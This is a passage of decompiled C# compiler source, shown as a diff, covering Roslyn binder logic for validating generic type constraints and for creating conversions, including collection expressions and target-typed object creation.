ArrayBuilder.GetInstance(); + int length = constraintTypes.Length; + for (int i = 0; i < length; i++) + { + TypeWithAnnotations typeWithAnnotations = constraintTypes[i]; + TypeConstraintSyntax typeConstraintSyntax = syntaxNodesOpt[i]; + if (IsValidConstraint(typeParameter, typeConstraintSyntax, typeWithAnnotations, constraintClause.Constraints, instance, performOnlyCycleSafeValidation, diagnostics)) + { + if (!performOnlyCycleSafeValidation) + { + CheckConstraintTypeVisibility(containingSymbol, ((SyntaxNode)typeConstraintSyntax).Location, typeWithAnnotations, diagnostics); + } + instance.Add(typeWithAnnotations); + } + } + if (instance.Count < length) + { + return TypeParameterConstraintClause.Create(constraintClause.Constraints, instance.ToImmutableAndFree()); + } + instance.Free(); + } + return constraintClause; + } + + private static void CheckConstraintTypeVisibility(Symbol containingSymbol, Location location, TypeWithAnnotations constraintType, BindingDiagnosticBag diagnostics) + { + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, containingSymbol.ContainingAssembly); + if (!containingSymbol.IsNoMoreVisibleThan(constraintType, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadVisBound, location, containingSymbol, constraintType.Type); + } + if (constraintType.Type.HasFileLocalTypes()) + { + TypeSymbol typeSymbol2; + if (!(containingSymbol is TypeSymbol typeSymbol)) + { + if (!(containingSymbol is LocalFunctionSymbol)) + { + if (!(containingSymbol is MethodSymbol methodSymbol)) + { + throw ExceptionUtilities.UnexpectedValue((object)containingSymbol); + } + typeSymbol2 = (TypeSymbol)methodSymbol.ContainingSymbol; + } + else + { + typeSymbol2 = null; + } + } + else + { + typeSymbol2 = typeSymbol; + } + TypeSymbol typeSymbol3 = typeSymbol2; + if ((object)typeSymbol3 != null && !typeSymbol3.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, location, constraintType.Type, containingSymbol); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(location, useSiteInfo); + } + + private static bool IsValidConstraint(TypeParameterSymbol typeParameter, TypeConstraintSyntax syntax, TypeWithAnnotations type, TypeParameterConstraintKind constraints, ArrayBuilder constraintTypes, bool performOnlyCycleSafeValidation, BindingDiagnosticBag diagnostics) + { + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Invalid comparison between Unknown and I4 + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Invalid comparison between Unknown and I4 + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Invalid comparison between Unknown and I4 + if (!isValidConstraintType(typeParameter, syntax, type, performOnlyCycleSafeValidation, diagnostics)) + { + return false; + } + if (!performOnlyCycleSafeValidation && EnumerableExtensions.Contains((IEnumerable)constraintTypes, (Func)((TypeWithAnnotations c) => type.Equals(c, (TypeCompareKind)63)))) + { + Error(diagnostics, ErrorCode.ERR_DuplicateBound, (CSharpSyntaxNode)syntax, new object[2] + { + type.Type.SetUnknownNullabilityForReferenceTypes(), + typeParameter.Name + }); + return false; + } + if (!type.DefaultType.IsTypeParameter() && (int)type.TypeKind == 2) + { + if (constraintTypes.Count > 0) + { + Error(diagnostics, ErrorCode.ERR_ClassBoundNotFirst, (CSharpSyntaxNode)syntax, new object[1] { type.Type }); + return false; + } + if ((constraints & TypeParameterConstraintKind.ReferenceType) != TypeParameterConstraintKind.None) + { + SpecialType specialType = type.SpecialType; + if (specialType - 2 > 2) + { + Error(diagnostics, ErrorCode.ERR_RefValBoundWithClass, (CSharpSyntaxNode)syntax, new object[1] { type.Type }); + return false; + } + } + else if ((int)type.SpecialType != 2) + { + if ((constraints & TypeParameterConstraintKind.ValueType) != TypeParameterConstraintKind.None) + { + Error(diagnostics, ErrorCode.ERR_RefValBoundWithClass, (CSharpSyntaxNode)syntax, new object[1] { type.Type }); + return false; + } + if ((constraints & TypeParameterConstraintKind.Unmanaged) != TypeParameterConstraintKind.None) + { + Error(diagnostics, ErrorCode.ERR_UnmanagedBoundWithClass, (CSharpSyntaxNode)syntax, new object[1] { type.Type }); + return false; + } + } + } + return true; + static bool isValidConstraintType(TypeParameterSymbol typeParameterSymbol2, TypeConstraintSyntax typeConstraintSyntax, TypeWithAnnotations typeWithAnnotations, bool flag, BindingDiagnosticBag diagnostics2) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected I4, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Invalid comparison between Unknown and I4 + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Expected I4, but got Unknown + //IL_0147: Unknown result type (might be due to invalid IL or missing references) + if (typeWithAnnotations.NullableAnnotation == NullableAnnotation.Annotated && flag && typeWithAnnotations.DefaultType is TypeParameterSymbol typeParameterSymbol && (object)typeParameterSymbol.ContainingSymbol == typeParameterSymbol2.ContainingSymbol) + { + return true; + } + TypeSymbol type2 = typeWithAnnotations.Type; + SpecialType specialType2 = type2.SpecialType; + switch (specialType2 - 1) + { + default: + if ((int)specialType2 != 23) + { + break; + } + goto case 0; + case 1: + CheckFeatureAvailability((SyntaxNode)(object)typeConstraintSyntax, MessageID.IDS_FeatureEnumGenericTypeConstraint, diagnostics2); + break; + case 2: + case 3: + CheckFeatureAvailability((SyntaxNode)(object)typeConstraintSyntax, MessageID.IDS_FeatureDelegateGenericTypeConstraint, diagnostics2); + break; + case 0: + case 4: + Error(diagnostics2, ErrorCode.ERR_SpecialTypeAsBound, (CSharpSyntaxNode)typeConstraintSyntax, new object[1] { type2 }); + return false; + } + TypeKind typeKind = type2.TypeKind; + switch (typeKind - 1) + { + case 5: + case 10: + return true; + case 3: + Error(diagnostics2, ErrorCode.ERR_DynamicTypeAsBound, (CSharpSyntaxNode)typeConstraintSyntax); + return false; + case 1: + if (!type2.IsSealed) + { + if (type2.IsStatic) + { + Error(diagnostics2, ErrorCode.ERR_ConstraintIsStaticClass, (CSharpSyntaxNode)typeConstraintSyntax, new object[1] { type2 }); + return false; + } + break; + } + goto case 2; + case 2: + case 4: + case 9: + Error(diagnostics2, ErrorCode.ERR_BadBoundType, (CSharpSyntaxNode)typeConstraintSyntax, new object[1] { type2 }); + return false; + case 0: + case 8: + case 12: + Error(diagnostics2, ErrorCode.ERR_BadConstraintType, typeConstraintSyntax.GetLocation()); + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)type2.TypeKind); + case 6: + break; + } + if (type2.ContainsDynamic()) + { + Error(diagnostics2, ErrorCode.ERR_ConstructedDynamicTypeAsBound, (CSharpSyntaxNode)typeConstraintSyntax, new object[1] { type2 }); + return false; + } + return true; + } + } + + internal BoundExpression CreateConversion(BoundExpression source, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(source, destination, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(source.Syntax, useSiteInfo); + return CreateConversion(source.Syntax, source, conversion, isCast: false, null, destination, diagnostics); + } + + internal BoundExpression CreateConversion(BoundExpression source, Conversion conversion, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + return CreateConversion(source.Syntax, source, conversion, isCast: false, null, destination, diagnostics); + } + + internal BoundExpression CreateConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, bool isCast, ConversionGroup? conversionGroupOpt, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + return CreateConversion(syntax, source, conversion, isCast, conversionGroupOpt, source.WasCompilerGenerated, destination, diagnostics); + } + + protected BoundExpression CreateConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, bool isCast, ConversionGroup? conversionGroupOpt, bool wasCompilerGenerated, TypeSymbol destination, BindingDiagnosticBag diagnostics, bool hasErrors = false) + { + return createConversion(syntax, source, conversion, isCast, conversionGroupOpt, wasCompilerGenerated, destination, diagnostics, hasErrors); + void checkConstraintLanguageVersionAndRuntimeSupportForConversion(SyntaxNode val, Conversion conversion2, BoundExpression boundExpression, TypeSymbol typeSymbol, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_01c9: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + if (conversion2.IsUserDefined) + { + MethodSymbol method = conversion2.Method; + if ((object)method != null && method.IsStatic) + { + if ((method.IsAbstract || method.IsVirtual) && Compilation.SourceModule != method.ContainingModule) + { + CheckFeatureAvailability(val, MessageID.IDS_FeatureStaticAbstractMembersInInterfaces, bindingDiagnosticBag); + if (!Compilation.Assembly.RuntimeSupportsStaticAbstractMembersInInterfaces) + { + Error(bindingDiagnosticBag, ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces, SyntaxNodeOrToken.op_Implicit(val)); + } + } + if (SyntaxFacts.IsCheckedOperator(method.Name) && Compilation.SourceModule != method.ContainingModule) + { + CheckFeatureAvailability(val, MessageID.IDS_FeatureCheckedUserDefinedOperators, bindingDiagnosticBag); + } + } + } + else if (conversion2.IsInlineArray) + { + if (!Compilation.Assembly.RuntimeSupportsInlineArrayTypes) + { + Error(bindingDiagnosticBag, ErrorCode.ERR_RuntimeDoesNotSupportInlineArrayTypes, SyntaxNodeOrToken.op_Implicit(val)); + } + CheckFeatureAvailability(val, MessageID.IDS_FeatureInlineArrays, bindingDiagnosticBag); + bindingDiagnosticBag.ReportUseSite(boundExpression.Type.TryGetInlineArrayElementField(), val); + if (typeSymbol.OriginalDefinition.Equals(Compilation.GetWellKnownType((WellKnownType)276), (TypeCompareKind)63)) + { + if (CheckValueKind(val, boundExpression, BindValueKind.RefersToLocation, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + GetWellKnownTypeMember((WellKnownMember)100, bindingDiagnosticBag, null, val); + GetWellKnownTypeMember((WellKnownMember)131, bindingDiagnosticBag, null, val); + GetWellKnownTypeMember((WellKnownMember)130, bindingDiagnosticBag, null, val); + } + else + { + Error(bindingDiagnosticBag, ErrorCode.ERR_InlineArrayConversionToReadOnlySpanNotSupported, SyntaxNodeOrToken.op_Implicit(val), typeSymbol); + } + } + else if (CheckValueKind(val, boundExpression, BindValueKind.Assignable | BindValueKind.RefersToLocation, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + GetWellKnownTypeMember((WellKnownMember)99, bindingDiagnosticBag, null, val); + GetWellKnownTypeMember((WellKnownMember)130, bindingDiagnosticBag, null, val); + } + else + { + Error(bindingDiagnosticBag, ErrorCode.ERR_InlineArrayConversionToSpanNotSupported, SyntaxNodeOrToken.op_Implicit(val), typeSymbol); + } + } + } + BoundExpression createConversion(SyntaxNode syntax2, BoundExpression boundExpression, Conversion conversion2, bool flag, ConversionGroup? conversionGroup, bool flag2, TypeSymbol typeSymbol, BindingDiagnosticBag diagnostics2, bool flag3 = false) + { + if (conversion2.IsIdentity) + { + if (boundExpression is BoundTupleLiteral literal) + { + NamedTypeSymbol.ReportTupleNamesMismatchesIfAny(typeSymbol, literal, diagnostics2); + } + boundExpression = BindToNaturalType(boundExpression, diagnostics2); + if (!flag && boundExpression.Type.Equals(typeSymbol, (TypeCompareKind)8)) + { + return boundExpression; + } + } + if (conversion2.IsMethodGroup) + { + return CreateMethodGroupConversion(syntax2, boundExpression, conversion2, flag, conversionGroup, typeSymbol, diagnostics2); + } + reportUseSiteDiagnostics(syntax2, conversion2, boundExpression, typeSymbol, diagnostics2); + if (conversion2.IsAnonymousFunction && boundExpression.Kind == BoundKind.UnboundLambda) + { + return CreateAnonymousFunctionConversion(syntax2, boundExpression, conversion2, flag, conversionGroup, typeSymbol, diagnostics2); + } + if (conversion2.Kind == ConversionKind.FunctionType) + { + return CreateFunctionTypeConversion(syntax2, boundExpression, conversion2, flag, conversionGroup, typeSymbol, diagnostics2); + } + if (conversion2.IsStackAlloc) + { + return CreateStackAllocConversion(syntax2, boundExpression, conversion2, flag, conversionGroup, typeSymbol, diagnostics2); + } + if (conversion2.IsTupleLiteralConversion || (conversion2.IsNullable && conversion2.UnderlyingConversions[0].IsTupleLiteralConversion)) + { + return CreateTupleLiteralConversion(syntax2, (BoundTupleLiteral)boundExpression, conversion2, flag, conversionGroup, typeSymbol, diagnostics2); + } + if (conversion2.Kind == ConversionKind.SwitchExpression) + { + BoundExpression boundExpression2 = ConvertSwitchExpression((BoundUnconvertedSwitchExpression)boundExpression, typeSymbol, conversion2, diagnostics2); + return new BoundConversion(syntax2, boundExpression2, conversion2, CheckOverflowAtRuntime, flag && !flag2, conversionGroup, boundExpression2.ConstantValueOpt, typeSymbol, flag3); + } + if (conversion2.Kind == ConversionKind.ConditionalExpression) + { + BoundExpression boundExpression3 = ConvertConditionalExpression((BoundUnconvertedConditionalOperator)boundExpression, typeSymbol, conversion2, diagnostics2); + return new BoundConversion(syntax2, boundExpression3, conversion2, CheckOverflowAtRuntime, flag && !flag2, conversionGroup, boundExpression3.ConstantValueOpt, typeSymbol, flag3); + } + if (conversion2.Kind == ConversionKind.InterpolatedString) + { + BoundUnconvertedInterpolatedString boundUnconvertedInterpolatedString = (BoundUnconvertedInterpolatedString)boundExpression; + boundExpression = new BoundInterpolatedString(boundUnconvertedInterpolatedString.Syntax, null, BindInterpolatedStringParts(boundUnconvertedInterpolatedString, diagnostics2), boundUnconvertedInterpolatedString.ConstantValueOpt, boundUnconvertedInterpolatedString.Type, boundUnconvertedInterpolatedString.HasErrors); + } + if (conversion2.Kind == ConversionKind.InterpolatedStringHandler) + { + return new BoundConversion(syntax2, BindUnconvertedInterpolatedExpressionToHandlerType(boundExpression, (NamedTypeSymbol)typeSymbol, diagnostics2), conversion2, CheckOverflowAtRuntime, flag && !flag2, conversionGroup, null, typeSymbol); + } + if (boundExpression.Kind == BoundKind.UnconvertedSwitchExpression) + { + TypeSymbol typeSymbol2 = boundExpression.Type; + if ((object)typeSymbol2 == null) + { + typeSymbol2 = CreateErrorType(); + flag3 = true; + } + boundExpression = ConvertSwitchExpression((BoundUnconvertedSwitchExpression)boundExpression, typeSymbol2, null, diagnostics2, flag3); + if (typeSymbol.Equals(typeSymbol2, (TypeCompareKind)0) && flag2) + { + return boundExpression; + } + } + if (conversion2.IsObjectCreation) + { + return ConvertObjectCreationExpression(syntax2, (BoundUnconvertedObjectCreationExpression)boundExpression, conversion2, flag, typeSymbol, conversionGroup, flag2, diagnostics2); + } + if (boundExpression.Kind == BoundKind.UnconvertedCollectionExpression) + { + BoundExpression operand = ConvertCollectionExpression((BoundUnconvertedCollectionExpression)boundExpression, typeSymbol, conversion2, diagnostics2); + return new BoundConversion(syntax2, operand, conversion2, CheckOverflowAtRuntime, flag && !flag2, conversionGroup, null, typeSymbol); + } + if (boundExpression.Kind == BoundKind.UnconvertedConditionalOperator) + { + flag3 = true; + boundExpression = ConvertConditionalExpression((BoundUnconvertedConditionalOperator)boundExpression, CreateErrorType(), null, diagnostics2, flag3); + } + if (conversion2.IsUserDefined) + { + return CreateUserDefinedConversion(syntax2, boundExpression, conversion2, flag, conversionGroup ?? new ConversionGroup(conversion2), typeSymbol, diagnostics2, flag3); + } + ConstantValue constantValueOpt = FoldConstantConversion(syntax2, boundExpression, conversion2, typeSymbol, diagnostics2); + if (conversion2.Kind == ConversionKind.DefaultLiteral) + { + boundExpression = new BoundDefaultExpression(boundExpression.Syntax, null, constantValueOpt, typeSymbol).WithSuppression(boundExpression.IsSuppressed); + } + if (!flag3 && conversion2.Exists) + { + ensureAllUnderlyingConversionsChecked(syntax2, boundExpression, conversion2, flag2, typeSymbol, diagnostics2); + } + return new BoundConversion(syntax2, BindToNaturalType(boundExpression, diagnostics2), conversion2, CheckOverflowAtRuntime, flag && !flag2, conversionGroup, constantValueOpt, typeSymbol, flag3) + { + WasCompilerGenerated = flag2 + }; + } + void ensureAllUnderlyingConversionsChecked(SyntaxNode syntax2, BoundExpression boundExpression, Conversion conversion2, bool wasCompilerGenerated2, TypeSymbol typeSymbol, BindingDiagnosticBag diagnostics2) + { + if (conversion2.IsNullable) + { + if (typeSymbol.IsNullableType()) + { + bool? flag = boundExpression.Type?.IsNullableType(); + if (flag.HasValue) + { + if (flag == true) + { + CreateConversion(syntax2, new BoundValuePlaceholder(boundExpression.Syntax, boundExpression.Type.GetNullableUnderlyingType()), conversion2.UnderlyingConversions[0], isCast: false, null, wasCompilerGenerated2, typeSymbol.GetNullableUnderlyingType(), diagnostics2); + } + else + { + CreateConversion(syntax2, boundExpression, conversion2.UnderlyingConversions[0], isCast: false, null, wasCompilerGenerated2, typeSymbol.GetNullableUnderlyingType(), diagnostics2); + } + } + } + else + { + TypeSymbol? type = boundExpression.Type; + if ((object)type != null && type.IsNullableType()) + { + CreateConversion(syntax2, new BoundValuePlaceholder(boundExpression.Syntax, boundExpression.Type.GetNullableUnderlyingType()), conversion2.UnderlyingConversions[0], isCast: false, null, wasCompilerGenerated2, typeSymbol, diagnostics2); + } + } + } + else if (conversion2.IsTupleConversion) + { + TypeSymbol? type2 = boundExpression.Type; + if ((object)type2 != null && type2.TryGetElementTypesWithAnnotationsIfTupleType(out var elementTypes) && typeSymbol.TryGetElementTypesWithAnnotationsIfTupleType(out var elementTypes2) && elementTypes.Length == elementTypes2.Length) + { + ImmutableArray underlyingConversions = conversion2.UnderlyingConversions; + for (int i = 0; i < elementTypes.Length; i++) + { + CreateConversion(syntax2, new BoundValuePlaceholder(boundExpression.Syntax, elementTypes[i].Type), underlyingConversions[i], isCast: false, null, wasCompilerGenerated2, elementTypes2[i].Type, diagnostics2); + } + } + } + else + { + _ = conversion2.IsDynamic; + } + } + void reportUseSiteDiagnostics(SyntaxNode val, Conversion conversion2, BoundExpression source2, TypeSymbol destination2, BindingDiagnosticBag diagnostics2) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + ReportDiagnosticsIfObsolete(diagnostics2, conversion2, SyntaxNodeOrToken.op_Implicit(val), hasBaseReceiver: false); + if ((object)conversion2.Method != null) + { + ReportUseSite(conversion2.Method, diagnostics2, val.Location); + } + checkConstraintLanguageVersionAndRuntimeSupportForConversion(val, conversion2, source2, destination2, diagnostics2); + } + } + + private static BoundExpression ConvertObjectCreationExpression(SyntaxNode syntax, BoundUnconvertedObjectCreationExpression node, Conversion conversion, bool isCast, TypeSymbol destination, ConversionGroup? conversionGroupOpt, bool wasCompilerGenerated, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(node.Arguments, node.ArgumentRefKindsOpt, node.ArgumentNamesOpt); + BoundExpression boundExpression = bindObjectCreationExpression(node.Syntax, node.InitializerOpt, node.Binder, destination.StrippedType(), instance, diagnostics); + instance.Free(); + if (wasCompilerGenerated) + { + boundExpression.MakeCompilerGenerated(); + } + return new BoundConversion(syntax, boundExpression, (boundExpression is BoundBadExpression) ? Conversion.NoConversion : conversion, node.Binder.CheckOverflowAtRuntime, isCast && !wasCompilerGenerated, conversionGroupOpt, boundExpression.ConstantValueOpt, destination) + { + WasCompilerGenerated = wasCompilerGenerated + }; + static BoundExpression bindObjectCreationExpression(SyntaxNode val, InitializerExpressionSyntax? initializerOpt, Binder binder, TypeSymbol type, AnalyzedArguments arguments, BindingDiagnosticBag diagnostics2) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected I4, but got Unknown + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = type.TypeKind; + switch (typeKind - 1) + { + case 1: + if (!type.IsAnonymousType) + { + goto case 4; + } + goto case 0; + case 4: + case 9: + return binder.BindClassCreationExpression(val, type.Name, val, (NamedTypeSymbol)type, arguments, diagnostics2, initializerOpt, null, wasTargetTyped: true); + case 10: + return binder.BindTypeParameterCreationExpression(val, (TypeParameterSymbol)type, arguments, initializerOpt, val, wasTargetTyped: true, diagnostics2); + case 2: + return binder.BindDelegateCreationExpression(val, (NamedTypeSymbol)type, arguments, initializerOpt, wasTargetTyped: true, diagnostics2); + case 6: + return binder.BindInterfaceCreationExpression(val, (NamedTypeSymbol)type, diagnostics2, val, arguments, initializerOpt, wasTargetTyped: true); + case 0: + case 3: + Error(diagnostics2, ErrorCode.ERR_ImplicitObjectCreationIllegalTargetType, SyntaxNodeOrToken.op_Implicit(val), type); + goto case 5; + case 8: + case 12: + Error(diagnostics2, ErrorCode.ERR_UnsafeTypeInObjectCreation, SyntaxNodeOrToken.op_Implicit(val), type); + goto case 5; + case 5: + return binder.MakeBadExpressionForObjectCreation(val, type, arguments, initializerOpt, val, diagnostics2); + default: + throw ExceptionUtilities.UnexpectedValue((object)typeKind); + } + } + } + + private BoundExpression ConvertCollectionExpression(BoundUnconvertedCollectionExpression node, TypeSymbol targetType, Conversion conversion, BindingDiagnosticBag diagnostics) + { + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + //IL_0221: Unknown result type (might be due to invalid IL or missing references) + //IL_0235: Unknown result type (might be due to invalid IL or missing references) + if (conversion.IsNullable) + { + targetType = targetType.GetNullableUnderlyingType(); + conversion = conversion.UnderlyingConversions[0]; + GetSpecialTypeMember((SpecialMember)117, diagnostics, node.Syntax); + } + TypeSymbol elementType; + CollectionExpressionTypeKind collectionExpressionTypeKind = conversion.GetCollectionExpressionTypeKind(out elementType); + if (collectionExpressionTypeKind == CollectionExpressionTypeKind.None) + { + return BindCollectionExpressionForErrorRecovery(node, targetType, diagnostics); + } + ExpressionSyntax syntax = (ExpressionSyntax)(object)node.Syntax; + MethodSymbol methodSymbol = null; + BoundValuePlaceholder boundValuePlaceholder = null; + BoundExpression collectionBuilderInvocationConversion = null; + switch (collectionExpressionTypeKind) + { + case CollectionExpressionTypeKind.Span: + GetWellKnownTypeMember((WellKnownMember)399, diagnostics, null, (SyntaxNode)(object)syntax); + break; + case CollectionExpressionTypeKind.ReadOnlySpan: + GetWellKnownTypeMember((WellKnownMember)404, diagnostics, null, (SyntaxNode)(object)syntax); + break; + case CollectionExpressionTypeKind.CollectionBuilder: + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)targetType; + namedTypeSymbol.HasCollectionBuilderAttribute(out TypeSymbol builderType, out string methodName); + TypeSymbol originalDefinition = targetType.OriginalDefinition; + TryGetCollectionIterationType(syntax, originalDefinition, out var iterationType); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + methodSymbol = GetCollectionBuilderMethod(namedTypeSymbol, iterationType.Type, builderType, methodName, ref useSiteInfo, out var _); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)syntax, useSiteInfo); + if ((object)methodSymbol == null) + { + diagnostics.Add(ErrorCode.ERR_CollectionBuilderAttributeMethodNotFound, (SyntaxNode)(object)syntax, methodName ?? "", iterationType, originalDefinition); + return BindCollectionExpressionForErrorRecovery(node, targetType, diagnostics); + } + boundValuePlaceholder = new BoundValuePlaceholder((SyntaxNode)(object)syntax, methodSymbol.ReturnType); + collectionBuilderInvocationConversion = CreateConversion(boundValuePlaceholder, targetType, diagnostics); + ReportUseSite(methodSymbol, diagnostics, ((SyntaxNode)syntax).Location); + elementType = ((NamedTypeSymbol)methodSymbol.Parameters[0].Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + methodSymbol.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(Compilation, Conversions, ((SyntaxNode)syntax).Location, diagnostics)); + ReportDiagnosticsIfObsolete(diagnostics, methodSymbol.ContainingType, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)syntax), hasBaseReceiver: false); + ReportDiagnosticsIfObsolete(diagnostics, methodSymbol, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)syntax), hasBaseReceiver: false); + ReportDiagnosticsIfUnmanagedCallersOnly(diagnostics, methodSymbol, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)syntax), isDelegateConversion: false); + break; + } + case CollectionExpressionTypeKind.ImplementsIEnumerableT: + case CollectionExpressionTypeKind.ImplementsIEnumerable: + if (targetType.OriginalDefinition.Equals(Compilation.GetWellKnownType((WellKnownType)204), (TypeCompareKind)0)) + { + diagnostics.Add(ErrorCode.ERR_CollectionExpressionImmutableArray, (SyntaxNode)(object)syntax, targetType.OriginalDefinition); + return BindCollectionExpressionForErrorRecovery(node, targetType, diagnostics); + } + break; + } + ImmutableArray elements = node.Elements; + ArrayBuilder instance = ArrayBuilder.GetInstance(elements.Length); + BoundExpression boundExpression = null; + BoundObjectOrCollectionValuePlaceholder boundObjectOrCollectionValuePlaceholder = null; + bool hasErrors = (uint)(collectionExpressionTypeKind - 7) <= 1u; + if (hasErrors) + { + boundObjectOrCollectionValuePlaceholder = new BoundObjectOrCollectionValuePlaceholder((SyntaxNode)(object)syntax, isNewInstance: true, targetType) + { + WasCompilerGenerated = true + }; + if (targetType is NamedTypeSymbol namedTypeSymbol2) + { + AnalyzedArguments instance2 = AnalyzedArguments.GetInstance(); + boundExpression = BindClassCreationExpression((SyntaxNode)(object)syntax, namedTypeSymbol2.Name, (SyntaxNode)(object)syntax, namedTypeSymbol2, instance2, diagnostics); + boundExpression.WasCompilerGenerated = true; + instance2.Free(); + } + else if (targetType is TypeParameterSymbol typeParameter) + { + AnalyzedArguments instance3 = AnalyzedArguments.GetInstance(); + boundExpression = BindTypeParameterCreationExpression((SyntaxNode)(object)syntax, typeParameter, instance3, null, (SyntaxNode)(object)syntax, wasTargetTyped: true, diagnostics); + instance3.Free(); + } + else + { + boundExpression = new BoundBadExpression((SyntaxNode)(object)syntax, LookupResultKind.NotCreatable, ImmutableArray.Empty, ImmutableArray.Empty, targetType); + } + Binder collectionInitializerAddMethodBinder = WithAdditionalFlags(BinderFlags.CollectionInitializerAddMethod); + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + BoundExpression boundExpression2 = BindCollectionExpressionElementAddMethod(current, collectionInitializerAddMethodBinder, boundObjectOrCollectionValuePlaceholder, diagnostics, out hasErrors); + instance.Add(boundExpression2); + } + } + else + { + hasErrors = ((collectionExpressionTypeKind == CollectionExpressionTypeKind.List || collectionExpressionTypeKind == CollectionExpressionTypeKind.ArrayInterface) ? true : false); + if (hasErrors || node.HasSpreadElements(out var _, out var _)) + { + GetWellKnownTypeMember((WellKnownMember)494, diagnostics, null, (SyntaxNode)(object)syntax); + GetWellKnownTypeMember((WellKnownMember)495, diagnostics, null, (SyntaxNode)(object)syntax); + GetWellKnownTypeMember((WellKnownMember)496, diagnostics, null, (SyntaxNode)(object)syntax); + if (collectionExpressionTypeKind != CollectionExpressionTypeKind.List) + { + GetWellKnownTypeMember((WellKnownMember)502, diagnostics, null, (SyntaxNode)(object)syntax); + } + } + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + for (int i = 0; i < elements.Length; i++) + { + BoundExpression boundExpression3 = elements[i]; + Conversion conversion2 = underlyingConversions[i]; + BoundExpression boundExpression4 = ((boundExpression3 is BoundCollectionExpressionSpreadElement element) ? bindSpreadElement(element, elementType, conversion2, diagnostics) : CreateConversion(boundExpression3.Syntax, boundExpression3, conversion2, isCast: false, null, wasCompilerGenerated: true, elementType, diagnostics)); + instance.Add(boundExpression4); + } + } + return new BoundCollectionExpression((SyntaxNode)(object)syntax, collectionExpressionTypeKind, boundObjectOrCollectionValuePlaceholder, boundExpression, methodSymbol, boundValuePlaceholder, collectionBuilderInvocationConversion, instance.ToImmutableAndFree(), targetType); + BoundExpression bindSpreadElement(BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement, TypeSymbol destination, Conversion elementConversion, BindingDiagnosticBag diagnostics2) + { + ForEachEnumeratorInfo enumeratorInfoOpt = boundCollectionExpressionSpreadElement.EnumeratorInfoOpt; + BoundValuePlaceholder boundValuePlaceholder2 = new BoundValuePlaceholder((SyntaxNode)(object)syntax, enumeratorInfoOpt.ElementType); + BoundExpression expression = CreateConversion(boundCollectionExpressionSpreadElement.Syntax, boundValuePlaceholder2, elementConversion, isCast: false, null, wasCompilerGenerated: true, destination, diagnostics2); + return boundCollectionExpressionSpreadElement.Update(boundCollectionExpressionSpreadElement.Expression, boundCollectionExpressionSpreadElement.ExpressionPlaceholder, boundCollectionExpressionSpreadElement.Conversion, enumeratorInfoOpt, elementPlaceholder: boundValuePlaceholder2, iteratorBody: new 